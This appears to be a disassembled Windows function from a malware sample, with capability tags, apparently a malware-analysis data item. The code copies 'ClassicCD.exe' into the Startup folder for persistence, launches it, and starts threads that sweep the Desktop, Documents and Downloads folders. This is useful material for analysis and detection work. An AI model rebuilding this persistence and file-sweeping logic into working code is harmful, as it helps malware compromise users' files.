Function at 0x140002302
Capabilities:
Create process on windows
Create thread
Get common file path

Disassembly:
push rbp
sub rsp, 0x900
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [0x14000e160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call rax
mov qword [rbp + 0x878], 0
mov qword [rbp + 0x870], 0
mov qword [rbp + 0x868], 0
lea rax, [rbp + 0x720]
mov r9d, 0
mov r8d, 0x1a
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
test eax, eax
je 0x1400023da
lea rdx, [rbp + 0x720]
lea rax, [rbp + 0x610]
mov r9, rdx
lea r8, str._sMicrosoftWindowsStart_MenuProgramsStartupClassicCD.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.file_exists
xor eax, 1
test al, al
je 0x1400023da
lea rax, str.ClassicCD.exe
mov rcx, rax
call sym.file_exists
test al, al
je 0x1400023da
lea rax, [rbp + 0x610]
mov rdx, rax
lea rax, str.ClassicCD.exe
mov rcx, rax
call sym.copyFile
lea rax, [rbp + 0xc0]
mov r9d, 0
mov r8d, 0xd
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
test eax, eax
je 0x1400024e0
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._sClassicCD.exe
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.file_exists
xor eax, 1
test al, al
je 0x1400024a3
lea rax, str.ClassicCD.exe
mov rcx, rax
call sym.file_exists
test al, al
je 0x1400024a3
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.ClassicCD.exe
mov rcx, rax
call sym.copyFile
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp + 0x860], rax
jmp 0x1400024e0
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp + 0x858], rax
lea rax, [rbp + 0x500]
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
test eax, eax
je 0x14000258d
lea rax, [rbp + 0x500]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__strdup]
call rax
mov qword [rbp + 0x850], rax
mov rdx, qword [rbp + 0x850]
lea rax, [rbp + 0x834]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [sym.search_directory]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
jne 0x14000258d
mov rax, qword [rbp + 0x850]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x500]
mov rcx, rax
call sym.search_directoryN
lea rax, [rbp + 0x3f0]
mov r9d, 0
mov r8d, 5
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
test eax, eax
je 0x14000263a
lea rax, [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__strdup]
call rax
mov qword [rbp + 0x848], rax
mov rdx, qword [rbp + 0x848]
lea rax, [rbp + 0x830]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [sym.search_directory]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x870], rax
cmp qword [rbp + 0x870], 0
jne 0x14000263a
mov rax, qword [rbp + 0x848]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.search_directoryN
lea rax, [rbp + 0x2e0]
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
test eax, eax
je 0x14000273b
lea rax, [rbp + 0x2e0]
mov edx, 0x5c
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
je 0x140002695
mov rax, qword [rbp + 0x840]
mov byte [rax], 0
lea rdx, [rbp + 0x2e0]
lea rax, [rbp + 0x1d0]
mov r9, rdx
lea r8, str._sDownloads
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__strdup]
call rax
mov qword [rbp + 0x838], rax
mov rdx, qword [rbp + 0x838]
lea rax, [rbp + 0x82c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [sym.search_directory]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
jne 0x14000273b
mov rax, qword [rbp + 0x838]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.search_directoryN
cmp qword [rbp + 0x878], 0
je 0x140002770
mov rax, qword [rbp + 0x878]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x878]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp + 0x870], 0
je 0x1400027a5
mov rax, qword [rbp + 0x870]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x870]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp + 0x868], 0
je 0x1400027da
mov rax, qword [rbp + 0x868]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x868]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x14000e160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call rax
mov eax, 0
add rsp, 0x900
pop rbp
ret